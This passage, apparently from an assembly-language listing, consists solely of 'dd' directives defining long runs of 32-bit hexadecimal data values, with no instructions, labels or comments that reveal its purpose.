8FC2DDB3h, 9D2F9040h, 0AD0092F6h, 0CE30D0CAh, 2C2398h dd 0D9889CFFh, 73C78D9Bh, 0E9091800h, 639349EFh, 0DB291CCCh dd 59B5FA6h, 803E44E4h, 2B5B7778h, 219C1A07h, 0D1A0C023h dd 0E1933h, 0C20776F1h, 8ACAE739h, 22001575h, 0D413994Ah dd 74E2F9h, 6C366FAEh, 5EDA0B82h, 12EF6000h, 90C03DA2h dd 83201E62h, 13E9403Fh, 8B7D4FB3h, 3AEE7200h, 829D81ADh dd 3244082Eh, 0AB00A12Dh, 0AA3F1406h, 0B89500D4h, 0C1298708h dd 0DC3C5713h, 1FBD78h, 0E8A6F9Dh, 707EAFh, 0A7B1730Bh dd 92019032h, 133E2300h, 0CC51C7D8h, 6BB006Dh, 68788CABh dd 0DC009A3Fh, 96F06904h, 0DBA912h, 0EBFCF340h, 0DAE1B208h dd 0E900F89Ah, 2ED368E7h, 667454AEh, 0AAFB19BBh, 0F118AA0Eh dd 0C06DA08Ah, 13E7EA4h, 0CABDDF7Ah, 60BACBB7h, 19078B00h dd 27EBD660h, 0BC3BD540h, 6C8F004Dh, 0C4741AB3h, 3503DE86h dd 0DD92637Eh, 8BAA005Eh, 0BE607F57h, 0EA005424h, 73EC141Ah dd 7BE2FAA7h, 0F5360728h, 239A2931h, 7590F896h, 0C1002045h dd 0A2B5EE50h, 741BF0h, 0C04385DDh, 0A9109E12h, 168BBB3Ch dd 0C7003681h, 0FAD2E024h, 2C9211h, 1E3AD7B5h, 58F1E990h dd 71267900h, 18013638h, 2EC403CCh, 0ED4CC9CDh, 0AB7DF390h dd 0AEBAD800h, 0F90A1C59h, 0A1B100C7h, 9DFB7640h, 0BF00DBF3h dd 3E1B9C86h, 1641798Dh, 12A22D62h, 0F01100E2h, 3C9F6709h dd 98B1F300h, 41C45146h, 989EEAEAh, 62060930h, 2500C323h dd 9BD1FB35h, 0C887E0A5h, 0FF0F83C5h, 0FB5A880h, 0E08A20Ch dd 0F75F8A48h, 18100D7h, 618F604Bh, 2E68E807h, 93A258A9h dd 5F58C89Bh, 470F01FAh, 94C706F1h, 0C841F496h, 0DDD80500h dd 0ADC96CCAh, 254C001Bh, 0A98A85B2h, 380288E9h, 69E5A417h dd 820440DCh, 595D0097h, 0A151962Fh, 9500C188h, 5F1DB642h dd 8941DAh, 235BA8BFh, 0CB290B4h, 0FDF7900h, 6AD67DD1h dd 2878014Eh, 0B3C3243Ch, 0D09D30E6h, 0D426ED7Ah, 9B1D6C86h dd 323C5400h, 4DE9C050h, 7801646Ah, 0E3B67298h, 0F3CADCB9h dd 213F5AF0h, 9F4F00FCh, 0B3897B1h, 0FAC20066h, 0C50AF3D2h dd 0D26826Eh, 0CD016C91h, 5D6CB52h, 0E489C0h, 0A93F25E0h dd 0ECD9F4BFh, 802863FAh, 4004ECD3h, 19039F07h, 0B843B080h dd 93EC5Bh, 7A51B47Eh, 7D315655h, 0DCA79000h, 14FB2FEh dd 0BF61008Ch, 9323B85Ch, 0DA030A6Eh, 89F72E4Ah, 0B366D9CFh dd 41DC9CF9h, 0BDE7009Ah, 0F0119515h, 5900E32Eh, 620D8BDFh dd 4D815790h, 16001C28h, 0C3B28429h, 2F68603h, 74BCAC07h dd 1501F562h, 0D8DFA9C1h, 118C6Eh, 7A953FD6h, 225CABE3h dd 8661E800h, 7083ADD4h, 0FC7F0EF6h, 0D38F6416h, 0F053FFE7h dd 7589CDE8h, 0A74C2E17h, 0CAB9843h, 3A9C3894h, 0BE1FB901h dd 28A712BAh, 9EF402E8h, 0E0AB88A3h, 0E95B7DBAh, 0C74AFFFCh dd 0C0937E20h, 72F8D931h, 0F66B8900h, 0A5509169h, 648E3A3Ah dd 0C11FA903h, 0CD21DABh, 6172D440h, 9EBA4806h, 669A871h dd 0FD676818h, 160010AAh, 64EFAFBCh, 4B0DA975h, 0B83043C1h dd 0F4A9FECAh, 7780E3FAh, 961544A9h, 0BA43AEBh, 8040AE92h dd 1B8FA43Ah, 9F72076Dh, 208D2395h, 15E48E1h, 9BD5F32Eh dd 1C8C700Fh, 0D00B8B00h, 4B7FC8h, 0AF24CC37h, 0A812319Dh dd 3648A300h, 645A8952h, 7A004DBh, 83FFF468h, 70FFCD1Ah dd 0E498937Bh, 6723240Eh, 0F2606042h, 740890h, 1E665701h dd 0E0A89579h, 0A7009C75h, 7653FA15h, 0DDDF41h, 92307050h dd 0F125683Ah, 9E9D0B18h, 7385D0h, 637B1B0Ah, 42EC2CA7h dd 69002AFAh, 0F7FB5B46h, 156F9F94h, 0A0D99285h, 803D0D00h dd 5248FCEEh, 56CFE300h, 2BED1E94h, 0C294A02Dh, 1DB51501h dd 0EC00AC6Bh, 0B214D666h, 0FC0091CEh, 8C70A68h, 50ED73A0h dd 0BBD848h, 0B2FDCE6h, 968FB2B5h, 0EFFCA1C0h, 26F6BCB1h dd 31BC130h, 59BDB6A6h, 0B58D2A98h, 0E3BF0200h, 0F8CB381Ah dd 5A740040h, 473D8C06h, 9503B5B2h, 3FD887A9h, 4AA5E043h dd 1EE1BE2h, 0F6B0E02Dh, 70B7A397h, 37980E43h, 9ACA260Fh dd 89A998F8h, 0AA002576h, 858755Dh, 1311A6Eh, 0B0886674h dd 0E09437ADh, 39C0D993h, 0C751C11Ch, 0CC7AA4h, 0E0F3FD89h dd 2E8C6C78h, 0E47F0D0Fh, 0F492E69Fh, 0E53A5861h, 7625B50h dd 0CC351840h, 0FF308037h, 0D70085B7h, 2336B19Dh, 7339C29h dd 0CBD1EC77h, 661D43ACh, 0D7A06BF0h, 74296907h, 65C3ADF1h dd 23C590A6h, 0E8B8CDh, 1D8C77F7h, 19ABE812h, 3F373503h dd 0F305659Fh, 0BB2822C6h, 0C5FFFA1Ch, 3FC89040h, 189863Bh dd 75DFFE64h, 60C66A9Dh, 7E00DBB2h, 8B9FA92Ch, 1D3ADC9Eh dd 4086F891h, 117AFFFDh, 37004714h, 1CAE1E6h, 1D2E5666h dd 0C0F7F584h, 16D591D9h, 79001C53h, 0B8F1CA83h, 3D47144h dd 0A310DB69h, 72F05201h, 330B83E3h, 654EF4h, 0D03DDA00h dd 5C030009h, 5554932Eh, 5800FC8Ah, 411C9295h, 396A197h dd 7314DDA3h, 45C0FE19h, 0C800C39Dh, 16AC558Eh, 0F251407Bh dd 0C2D328E5h, 49CA2EA4h, 6E013B76h, 740D9945h, 20BEEDB3h dd 0D77AFE45h, 0E46F5600h dd 0C488C6ABh, 0F636004Fh, 14A66134h, 0F7FE69E2h, 3CD0BF00h dd 0B901F818h, 0A1420050h, 47414FDEh, 4E006188h, 0E855E30Ch dd 8009ACh, 2CB3246Eh, 5104E22Eh, 0CB5CEB00h, 870FF8F9h dd 0F45650D7h, 0EA900049h, 28203BB3h, 6007335h, 0F405C9ADh dd 9D01D5h, 751DA46Dh, 9FCA9A6Bh, 86665201h, 0B43DED08h dd 7F9D8E4h, 2D1E8265h, 9D23F0B2h, 0E200631Dh, 58C00A97h dd 7A768Fh, 0DE3AC7EDh, 0D7EF7C42h, 0AD521D00h, 6CE065CAh dd 0EECEF6Bh, 131A1457h, 3300EC02h, 6D7530D9h, 0E1F0DEBAh dd 0B4C44A00h, 7BD48AEBh, 0D6470079h, 963CD592h, 483A812Bh dd 9A4F87E4h, 65C018F1h, 7EAAE90h, 0D7495013h, 73569057h dd 0E2004E21h, 40C66462h, 1EF403EBh, 0C0F9B031h, 0A28F2E19h dd 3871EF50h, 0FB08D512h, 0D878800h, 46F60Eh, 2CDFC5BDh dd 0F41B373Ah, 0A3EF9707h, 0FE30739Bh, 31A553h, 0BD23760Fh dd 0F4B4A89Fh, 33065D00h, 8F4A828Eh, 0F97E0DD7h, 0E8D06E42h dd 3E4C4B2Ch, 8706010Bh, 926739A3h, 2BE7520h, 0BDDD1BA2h dd 8C80F293h, 4681C53Bh, 0C2B31E00h, 9845F5ABh, 0F2EC61B1h dd 0C8F72A7Bh, 5F7BA25Ah, 1038B700h, 261BD0FCh, 43270069h dd 0A371E986h, 75000FB4h, 4DF0596Ah, 0E13546BEh, 0F67020h dd 553B792Bh, 9F35FF4h, 77B0FF00h, 0EFEBAE6Fh, 1C1A00D8h dd 5E1502D6h, 0E11F5598h, 0BAB9723Ch, 670980F9h, 6E51855Dh dd 804431F1h, 0F5311DA0h, 0D44AC120h, 8600F25Ch, 0D89649DEh dd 641EF28h, 2751AFF9h, 0C0B768A5h, 61897091h, 2046844h dd 684881B6h, 0FBAA2CF6h, 0AF8430h, 565097D5h, 0E5BCC8A3h dd 3EE74803h, 0FC05CE22h, 0C7B204C0h, 464D07B4h, 0A035EF43h dd 411328Bh, 630DD909h, 0ED18A020h, 7067E6CBh, 8DDC001Fh dd 905D738h, 310E3B86h, 0A00B2CE2h, 0D4143DCDh, 9B9500EEh dd 7E893661h, 2B009C78h, 110294EFh, 0FD4038C5h, 0B5A930h dd 8F8EA199h, 49EDD256h, 1098F1F8h, 7C635B00h, 0D0583964h dd 0FEA70008h, 0C1CA7BFAh, 731C3220h, 0E79C5CB6h, 0EAD4F5C0h dd 0E6E936h, 0FC234925h, 8ECBAB4Eh, 42EEBB03h, 0A4DA64C6h dd 401A7480h, 8CF64C79h, 0DC5C2B00h, 0F844FFC4h, 12EE541Ch dd 8540E29Ch, 6756AD2Ah, 60760065h, 4B5E6E3Fh, 3728198Dh dd 0D814B486h, 0BDA070h, 2AF364B5h, 0A5466Eh, 78DE600Dh dd 0F2764AE4h, 0A7F58AA0h, 0B3C05D01h, 0AD361DEDh, 26A87BE8h dd 6C3CA0h, 54D1D040h, 81001112h, 0B632D503h, 65BF21h dd 0BACC6E2Dh, 97542EC8h, 6CDCB700h, 5F2690D2h, 0BC1D139Bh dd 1BB800F2h, 554A7DFFh, 3A61BB01h, 4124050Fh, 4020D820h dd 0E0C094D2h, 2DFC3350h, 92DB015Dh, 0D99A6FE5h, 8938306Ch dd 0C1168103h, 0E82FA636h, 7FE28Dh, 0E7479380h, 9554113Bh dd 5A2E970Fh, 13F100CAh, 0F030EBB6h, 0F5650087h, 5CC3256Dh dd 0C700B4ACh, 1D7E7561h, 569DF7h, 0E7628C5Ah, 21D4327Dh dd 4928EC00h, 157B489h, 8BC00B2h, 5DBF2369h, 0A700C494h dd 92AAE867h, 9907B8h, 0F57E2B5Eh, 29A8D61Bh, 0D8C0C9F0h dd 12FDD4ECh, 98503D0Bh, 732A6A80h, 0CBB73D58h, 6304937Bh dd 0B0B8C922h, 0FA96DC80h, 0E0D5000Fh, 0C6317C98h, 1300FE2Bh dd 1D571ECCh, 0B07465DBh, 6DECF0h, 6C189860h, 0F1897139h dd 0EE519C2h, 770CE8EDh, 8D821EDEh, 0C907BA3Ah, 0C0657696h dd 0CB913639h, 9A0BE3F6h, 8F9E0B01h, 0F00861E1h, 73E0923Ah dd 0E6A03B4h, 9939C960h, 13141FA0h, 32FB4D14h, 8C2C00DCh dd 9859E531h, 1BF1C7D1h, 81C90653h, 0B9BC4100h, 6450547Ah dd 0A0E4F0EBh, 0AE6C08h, 7932052Eh, 0B231480Ah, 9AA84360h dd 50E5ED3Ah, 136B642Ah, 0EAF18Dh, 0C10D5AFEh, 25007B37h dd 0DCA4B8AEh, 172F6911h, 123C22FDh, 7AD40070h, 60ACFF14h dd 71A8A007h, 60DF75E2h, 3E4AB16Ch, 7DD5736Ah, 32350393h dd 0AB82155Bh, 70980AD0h, 97CBFB00h, 65477222h, 9DEE52h dd 932BA7Ah, 200114F4h, 3023FF8h, 5D648477h, 0C4ACE139h dd 0B558450h, 839500CDh, 774569DCh, 0A10A2F39h, 0B0D2F624h dd 0CB232206h, 0E8F01E0h, 4AFD25DCh, 434093EAh, 806DE10Eh dd 26355E8Dh, 0ED27BC6h, 0E9CE9EBEh, 34F80380h, 0BDF0D380h dd 0A600A57Ch, 4F70EE4Ch, 28941E9h, 0C6BBC139h, 0C891D6E7h dd 0A100DB19h, 0DB518BE3h, 77677B76h, 4C11001Eh, 0D8104F3Ch dd 96016F5Bh, 3F18CA7Dh, 0D1207E2Fh, 0CECC1EC6h, 7A73C786h dd 492EA3F1h, 90A258B8h, 2937A60Ch, 314611Fh, 49FE171h dd 2001A777h, 4B199EA3h, 7BF0B441h, 7D04A742h, 60AA9B50h dd 6CB611B2h, 0B93F4D67h, 0F9C183F0h, 98F2FA51h, 61B81F44h dd 66D419B6h, 0A424DA36h, 0C490AA41h, 0CEACD484h, 82B408C0h dd 0D0B8081Eh, 0B0003C20h, 0E3CE6C38h, 9200ED78h, 2D67BE2Ah dd 3068B3E2h, 1918FB2Eh, 330360D9h, 0AF615C48h, 0C84DC0C5h dd 0CE6F0A3h, 643FECEBh, 0F47F2A50h, 78427F3Eh, 0C03D7A01h dd 0A7A944DEh, 40A0A0h, 87F9D475h, 0C5745241h, 9F54F200h dd 5FC846C6h, 0C493016Ch, 0B42A4899h, 2CC08DEFh, 0E7E3589Fh dd 0B9053F80h, 52470061h, 0FCCC1119h, 5C0A8E2Bh, 34C65E93h dd 0F8928B0Ch, 0C2B2229Dh, 8784DF03h, 18521CD4h, 184B9F40h dd 2D003FCCh, 0E9369CDh, 0E2FFED4Fh, 5C1B01B3h, 9EEFE3CBh dd 0F846F0DEh, 9BF877ECh, 0BB013BF8h, 370C5367h, 0AC574D95h dd 2A826583h, 0E85434h, 8CF224ADh, 2D315E95h, 3FCAC52h dd 6254C909h, 0CDC00602h, 800AEB71h, 4C19C700h, 0D4CB5344h dd 98895155h, 7436BDFCh, 22842B38h, 37760824h, 0B747D744h dd 182C069Dh, 0C7EB081Ch, 4B96CD00h, 7ECA76Ch, 1FB30A72h dd 945591F6h, 89EDF467h, 0CD0CBF01h, 7956166Ch, 11C19085h dd 9DFC00ECh, 9CF60E88h, 4A138900h, 5348ADD5h, 0BF30946h dd 0CE508AA9h, 0D2BC5250h, 66BFF900h, 9ACE49E8h, 784100C5h dd 563BD3EFh, 2800DBB4h, 0AA8DFD18h, 6EC85C9Bh, 8127284Eh dd 213260C9h, 0C472AF38h, 0A7452200h, 0E8619F42h, 8A6E0CE0h dd 5F3041C8h, 0F247D000h, 219BAB71h, 0FD6C504Fh, 0B6FADBh dd 0E99E55DCh, 0AFB82B9Ah, 1B2A18C1h, 9BC954A9h, 7B5F8F0h dd 0C1C60B5Dh, 104F87CDh, 458E75D9h, 0FE0070DFh, 41EDC766h dd 0C5A3004Eh, 1A99CE33h, 0C8C05A19h, 0BE4DDBCh, 570D2B60h dd 55B38878h, 6D6B4B81h, 4881A007h, 7F15D8B2h, 0F4688043h dd 6CB74C78h, 0F136184Dh, 0F0C3E0CBh, 0A395C500h, 1A42288Ch dd 6BBB020Dh, 0CDB77BD4h, 62873490h, 3200B342h, 8CD29E3Ch dd 70C09149h, 6C638D41h, 9B0C01B0h, 0C12FBC8Bh, 0C8C04089h dd 0A24C1482h, 28CF1E34h, 3DA649C1h, 40E027EDh, 7D01853h dd 0EA48489Ch, 0BB54EC00h, 41D3C435h, 0E6BE03D9h, 0C1AC0D47h dd 83B7E0C9h, 4D570CE0h, 588B6C3h, 8F84757Eh, 0E15C02B9h dd 80A84F45h, 143240E8h, 330A0196h, 0C45D0C9Dh, 805E8F4Fh dd 0A512E26Eh, 407416DEh, 0C8BC9Ch, 20B1BE22h, 3ED27FDDh dd 0B860BC48h, 5B98BD8h, 0E003E441h, 19B1D892h, 1A71C02Ch dd 0EFA94DC3h, 804F0530h, 153FBA45h, 0E48B496Eh, 46D8C10Ch dd 0BC883848h, 0C9C21944h, 8072840h, 0EE533B3Ch, 456AD883h dd 0C98319AEh, 5F6B6919h, 18915880h, 0E81030ECh, 0C0C03A4Dh dd 616C5B38h, 0CD00E94Eh, 94239315h, 3DB4B0Ah, 1FB77D46h dd 0F19ABC9Bh, 94209C4Ah dd 24C0664Dh, 470092FEh, 0EF8349B7h, 3023B428h, 2BB15F6Fh dd 0BB011F0Eh, 3A9C6761h, 4C2059B5h, 0DC23505Ah, 242000CBh dd 0BA46ABC2h, 0F00F932h, 5DAFCEA3h, 92054BE2h, 93663878h dd 5E317D8Fh, 9F400382h, 0D71AC40h, 8000E8A6h, 46BBFF7Bh dd 0AB3427Ch, 0C5C6700Eh, 8DCE00A0h, 9B5AC4D1h, 12FCC752h dd 0F8445CF9h, 8F837E0Ch, 0DD82A049h, 326E3F4Ah, 5426A280h dd 0CBD6CDA7h, 9A1CA07Bh, 0FE5E2Fh, 652CF30Eh, 2947819Dh dd 85B0C863h, 2B2240Ch, 0A96C8EE4h, 7D0B88Eh, 2CF55AD3h dd 42AA1C20h, 4E912486h, 800D47E0h, 8C9B8F4Dh, 0FB1024EFh dd 6A9CC405h, 0B00013CDh, 224DB26Bh, 75170F48h, 59D20E6Fh dd 0E1ED80F0h, 0D271E806h, 87C42350h, 1F1E3100h, 3393C1B7h dd 0BBAD3E6Ch, 1DBE470Fh, 2CA15D00h, 0C63D326Fh, 21087D48h dd 1EC4AE80h, 7810CCC1h, 63608C11h, 372B0CD0h, 2C14A0F1h dd 288B0CB3h, 6C30C0E4h, 0B5D93Eh, 0A703C16Eh, 7E4AB9F2h dd 0C47E3Ch, 10F77DBFh, 5C6E0625h, 6D0089E8h, 4E9B452Bh dd 0E2249DD2h, 46A006DEh, 0A2F9FB6Ah, 0BC88EE09h, 808C0E5Bh dd 5CFFB64Eh, 3F127670h, 2D0056A0h, 5D60BEDDh, 0A027779h dd 32BFCD97h, 80E0654Bh, 9BAC7312h, 0A94C9CEEh, 437711F8h dd 6FE0D609h, 6D9228BBh, 4381C8AFh, 0E7B48D1Bh, 0A3343054h dd 4C8F2188h, 958238BDh, 8C40EE63h, 68914A82h, 0CF00F821h dd 3F38921Eh, 4A34C4Bh, 977F3520h, 4F0150C4h, 89A920C8h dd 2C9620DAh, 699328CDh, 0D8662889h, 0C1B5C820h, 7C61EFA4h dd 2F2BCAB1h, 8DAC40D2h, 40C32623h, 4BF70840h, 0FB0A4444h dd 29ED464Ch, 334F0322h, 0DE403E42h, 492C6022h, 6B07FCFBh dd 2924DA7h, 24605D40h, 5404982h, 85202404h, 5A0B0140h dd 4D9A8F67h, 6E003388h, 1ABA80CCh, 4D636C8Bh, 7448ACBDh dd 130944C0h, 8C59C3ADh, 0C130CF28h, 3C4BE4D2h, 3AB6C4D0h dd 0AC49F602h, 4F1B5D00h, 2A7561A1h, 8068204Ch, 661F82DCh dd 0C0472A6Ch, 114B0BCh, 9B84C91Ch, 0DE2133F3h, 0E7921468h dd 0A9599602h, 644EC3EAh, 0AE682024h, 73452412h, 16B92440h dd 4D8EEC8Dh, 28C468B1h, 751800B2h, 0AADFD06Ah, 0CA5049E4h dd 0E0A9D210h, 0ABDDB01Bh, 0AD983021h, 694B26F1h, 22F551C0h dd 7C4631F6h, 85C13A9Eh, 5C0EB795h, 83509F24h, 0A74A6C2Dh dd 20E728C0h, 159D5350h, 0C06AB924h, 0EC494C8Ah, 8D856C81h dd 0F020D126h, 0BCA4316Bh, 0FC362089h, 7415ADD2h, 7F6C23F0h dd 0F8629616h, 7F4A5020h, 19EF05CAh, 8CA0CF63h, 3014AB24h dd 909646h, 0DEC12CADh, 742208C6h, 182057E1h, 8140E98Fh dd 89C8B128h, 291C4E00h, 926DBA2h, 6F7C24A1h, 6D96C8h dd 23EDA7E0h, 0B80051AEh, 7040C1DBh, 27E0CAh, 5D16CE06h dd 0D0F2D2B7h, 0BE2F3B18h, 0EDD08E9h, 0E05E0B2h, 809F40F4h dd 6AC2F1E4h, 517D5F0h, 0C42CA7DAh, 0B36320F7h, 0DCB1182Ah dd 2F09617h, 5B6B002h, 0DCCA3E0h, 0A23F88C6h, 976B0E9Ah dd 504C8B5Dh, 84005A50h, 48CC8624h, 9C3840h, 0B220D8BDh dd 0C66B46BCh, 0C7377913h, 47691041h, 1824CF76h, 7FA7025Bh dd 3545A886h, 6FC6ECA0h, 462C26D2h, 173D6C83h, 0A0005520h dd 0B68EA015h, 0A6099F9h, 83A46C13h, 0E54E11B5h, 96BF3816h dd 738281Bh, 4AF12E0h, 0EE9AD133h, 0DAD042E6h, 18E80899h dd 0CDBA07FCh, 0C0D5AB12h, 8CCE99B6h, 0C0A4B103h, 0D07528B9h dd 220DB92h, 2D43CF82h, 20A13295h, 0FCC9BAECh, 0CA096C49h dd 81C57713h, 0B61E2470h, 701C60h, 0ECF80888h, 5B9B4EE5h dd 0D90C80B8h, 0E1AFFF9Ah, 576C07B0h, 0C4D8BE7Eh, 0B3FCC2E7h dd 220BD131h, 20B320h, 7E4D2C94h, 493169CFh, 9D283140h dd 8FABE842h, 367142D8h, 35C4E8EBh, 972094CDh, 2E885F40h dd 40428A6h, 499D9A96h, 5010904Bh, 7098330Dh, 3BCFDC01h dd 0BD9B9AC1h, 0E18F0A4h, 3E416B4Ah, 6059A3A2h, 1D30B997h dd 0E3C5F042h, 0D549CB9Bh, 19EDB002h, 0D0069489h, 9E00386Eh dd 5AC06C61h, 2858EE2h, 48B1BE0Ch, 891EEAFh, 6E0818B5h dd 9729406Eh, 20A40C20h, 2020EC9h, 9B5B333Dh, 16449EC4h dd 722CBF29h, 0C8C0E1D4h, 0B107B0FCh, 8DDE963Bh, 0DD9A5050h dd 19A57F4Dh, 38BB4ED1h, 0C2508ABh, 366ED42Fh, 0BC05CE61h dd 0AAC44948h, 0D89DD020h, 48C1F226h, 54DEC82Dh, 0F09A086h dd 86087E4Bh, 6DBB65CCh, 0A444E2B0h, 322804B8h, 7012A44Dh dd 4440AE59h, 888046AFh, 0B05D5C28h, 8EA25E02h, 8912A27h dd 0CE1048BDh, 2485E612h, 0B07C15h, 49F12CAh, 9026C693h dd 64E18F4h, 5CD9E89Eh, 1E18CF59h, 16498DDAh, 0EFFC20E8h dd 4BC05DC2h, 0A3DC717Ah, 382A0068h, 5B84A8C9h, 6D49C4FCh dd 0A96088D1h, 4E09DE00h, 8372A6AAh, 5A8400FCh, 0B5AEA4F6h dd 3513E078h, 1C1248C8h, 38B05000h, 98DE6C23h, 0F4BC3EB4h dd 0E668C57Ah, 9AB8C0FBh, 73135AF9h, 60810ABAh, 0B0264ED0h dd 0A727010h, 50182AE5h, 0C640D42Ch, 49A24432h, 0AC1344ECh dd 18E059B5h, 0E0B102AAh, 75BF0A91h, 301B09CDh, 10818663h dd 0E0A00B60h, 0C60C4BADh, 189543FFh, 0C7EC091Eh, 0C0C0A83Ah dd 332C3270h, 7E806C29h, 2C6273D9h, 48ED5920h, 0F1E6A00h dd 50E1EEA3h, 60F4A902h, 0E0ECE4A2h, 5C2FC40h, 0D4E56EDBh dd 0E3C02878h, 5B585E60h, 1C54450Dh, 619665h, 8B3063CDh dd 0BD093A94h, 5FF66DCh, 0A8886268h, 5F18A826h, 8830A548h dd 28025DB3h, 49058BD6h, 0C5F599C0h, 0E131F0h, 2E0AC778h dd 1809E20Eh, 8E9D1B18h, 0F89AD8h, 373028C9h, 0B5F31004h dd 0EC22AF00h, 61A0F4B0h, 0A840F844h, 0B841A40Ch, 941D4CACh dd 8657A88Bh, 0B1146D2h, 0A2F41BEFh, 0EDB1A880h, 3003FDDCh dd 54074213h, 381802BAh, 6E51BD5Ch, 0F3097078h, 0A09F2C35h dd 0CAD76AECh, 92CD75C9h, 0F7600A7Ch, 8AD8A0BEh, 86421h dd 44923CCAh, 0ACB9A70Eh, 25679328h, 1CD1BAA0h, 5880A5F7h dd 81B29A0Ch, 0DC4EEF9Dh, 234F0C40h, 1EE6CADAh, 22BF7CCh dd 512F341Fh, 2C304C40h, 40725F33h, 13E1A0A8h, 0B94C312Bh dd 0A84F82C8h, 1000008h, 0CFC5A26Eh, 0D0B7C05h, 0C6D81BEAh dd 8ED82820h, 4C0783C2h, 0EC181CB2h, 408F982Ch, 903526BCh dd 118118CBh, 0F45035B4h, 0E67ACEh, 45376DE0h, 8D449B63h dd 92606574h, 0E27EA121h, 0FDFEF47Bh, 83F4B041h, 2DB69040h dd 6E81C0B4h, 0A4110710h, 80BA8B2Ah, 657804E4h, 800297Bh dd 83AE3BEBh, 102756h, 217A956Dh, 4F500E74h, 0C824D970h dd 3200007Bh, 499F418Fh, 9EBA0089h, 6E6F374Dh, 5D00D121h dd 96C2290Eh, 76C6EAh, 816A8935h, 33993BE5h, 195E180Eh dd 0DD57C7A4h, 0AA432E97h, 0EF5CE041h, 3F9038Fh, 4B9CBE0Fh dd 21100830h, 36A942h, 0FF4611F3h, 51E5666Ah, 9A903790h dd 0D0351300h, 58620E07h, 0B8F2D9h, 0AEA04E79h, 0D7168396h dd 0E2573F00h, 91F70F3Ch, 0D5C100B8h, 83CF588Ah, 0FBF4AF75h dd 0C7319360h, 31D0B4Eh, 776C3315h, 468F6B16h, 0E00021B0h dd 15790B56h, 1F1D4499h, 0CB2DB7h, 492CAEA7h, 11EA184h dd 68336DF7h, 0DD381CA6h, 86C50F3Dh, 1BFCF60h, 9A017A03h dd 0B2D54273h, 0A2D0A555h, 0ADF04CDDh, 913BC201h, 9823D17Dh dd 0D0219E09h, 0F2DB03E4h, 0E1C28839h, 9197B891h, 6780B149h dd 393BB9DEh, 0E798448Ch dd 80DBDF3Ah, 0D38B03E9h, 3F578Ch, 0A13B976Fh, 50D417DEh dd 0E1BE7660h, 1208B847h, 6EAF31h, 6C524332h, 0DE00EAA5h dd 0D3FAA92Eh, 30508Eh, 0D1330B44h, 0CAE1744Ch, 5B078471h dd 0C6B5FA3Eh, 5536AC00h, 818214FBh, 0BE00C145h, 3CBF899Dh dd 9107CBBAh, 0E81B5005h, 0BB219990h, 0E34C0069h, 0FFF78761h dd 4007544h, 0E2DF8E2Dh, 39A8D15Fh, 0C200BE0Eh, 1E1F31B9h dd 13FC0638h, 64141700h, 29A35CCAh, 0D681001Ch, 7F48539Bh dd 0C7F44E21h, 31A65E00h, 38B5D790h, 81E6003Eh, 7EF69561h dd 20020ABh, 7040AA27h, 0B02C1Dh, 5606CF22h, 55CA4844h dd 0DE373B00h, 0B1192418h, 0D54B01C5h, 68FFAD5Bh, 3A44DCD0h dd 0C12F1527h, 29901E46h, 72828411h, 77426E48h, 388D2212h dd 2932F228h, 0B3781092h, 51807989h, 508D055Fh, 0A7E2E2E5h dd 0D0B09F03h, 0A8A6238Ch, 18802ECh, 56CDC70Ah, 0F0709987h dd 111C3D26h, 308055DAh, 6A80E773h, 191E0094h, 6CC49761h dd 391E5DA2h, 0CCC033C6h, 77179803h, 0EDD50040h, 0AB229336h dd 26008CDAh, 49622EBAh, 0D36164h, 0A399B620h, 7C0CDFD0h dd 0C3863Eh, 9C1A26F2h, 2E2183BEh, 3D32AFh, 2B94B2F9h dd 2701C047h, 3758141Ah, 12D9439Bh, 4F8F0C0h, 23557603h dd 79D8839Eh, 5C6F24A8h, 0B1C77500h, 5E57F61Fh, 0CFCCA088h dd 730C00D6h, 48E63FBDh, 6B008FC4h, 0D4E14D69h, 1A65A13h dd 7A3788C2h, 0E1858950h, 0F5708056h, 6A82AC64h, 0FE4FF804h dd 7FFC62h, 0A79E770Fh, 1174F8D5h, 6C00FE7Dh, 0F57A4FE1h dd 15176D7h, 7263FDDEh, 806EC0B5h, 1D916989h, 0BECBDBh dd 66B7112Ah, 0E3CC99C1h, 0A57D9A00h, 71FAD16Ch, 3D3B00E1h dd 8C92C57Eh, 0F7005022h, 0B42A2B77h, 61DFB99h, 0DD5E73D7h dd 970318F6h, 0ED761BABh, 9B1000F2h, 58D9C2C6h, 0C2901D42h dd 1373FE1Ch, 314561C7h, 18662920h, 0A1A800E6h, 69EB0B4Bh dd 0C300D808h, 71A04672h, 268A7568h, 31BA12Ah, 3CF64AA7h dd 0C6CF00DFh, 3900B242h, 0F999A5AEh, 781A3D15h, 34C94870h dd 807F8F00h, 0A17E699Eh, 60CCF351h, 130037D1h, 61EC065Bh dd 0F6DA2041h, 0C4B200FEh, 1263DD02h, 880E60A8h, 20A5F3D1h dd 514C7A79h, 0CC473DC6h, 0AD6D2303h, 9AA033BFh, 9B01762Bh dd 0F940515Bh, 0F2D8E391h, 0D4C526FBh, 0D2B41C16h, 0E8D40024h dd 4AFD059Ch, 925B7B00h, 53435C28h, 0A43B268Bh, 861C00F1h dd 0FFE74879h, 2A067200h, 0DD99F622h, 0BC0F00CAh, 4FF8DEE2h dd 9C099680h, 0BC60EEBh, 0BB5A0088h, 92F3E6h, 0B907BA77h dd 72D9E867h, 52CF5F0Ah, 8400A8A2h, 2DA40E8Dh, 0A85800C8h dd 6D516334h, 0E4010DC5h, 0E0D2B509h, 64D455FCh, 80100CEh dd 5EB21DA9h, 851FE406h, 100375F7h, 0A02E313Bh, 18EFA264h dd 0B49BDD78h, 0F84CE78Bh, 0E988001Ah, 8363950Ah, 1A7900C3h dd 2D3A11BFh, 0FA0E7D22h, 400C09C0h, 98B7A21Bh, 0D673003Dh dd 8B01A39h, 560005F5h, 0A116E33Bh, 261454h, 107F82A2h dd 6DFBD4DAh, 86F65D1Fh, 0D97736C0h, 88B964h, 1B2A0F46h dd 712D29A5h, 4EE2E701h, 0A62B7C83h, 30D496E0h, 1C10866Dh dd 0EC7AFB74h, 5DE8EF01h, 3CD939AFh, 2D17D4h, 525EB70Fh dd 1F8D2B8Ah, 0CA00DEB0h, 2CA043E3h, 0F185685h, 4C86D21Bh dd 8740052h, 6733E861h, 441F8824h, 35EC6400h, 31D012Fh dd 0FED28C7Eh, 0FA00C443h, 3C36176Ch, 839ABBh, 0C17D6945h dd 1350FC74h, 99E870Fh, 0B45F402Ch, 589836A8h, 0F8488561h dd 0A64E0079h, 69F68296h, 5A3AF752h, 3B1800C5h, 9D34B665h dd 620403C7h, 0AA42897Ch, 8DDF6B98h, 0E4FA538h, 4031C367h dd 27E0E338h, 0ACE403B9h, 398AC762h, 0F4FCD4B9h, 9303A547h 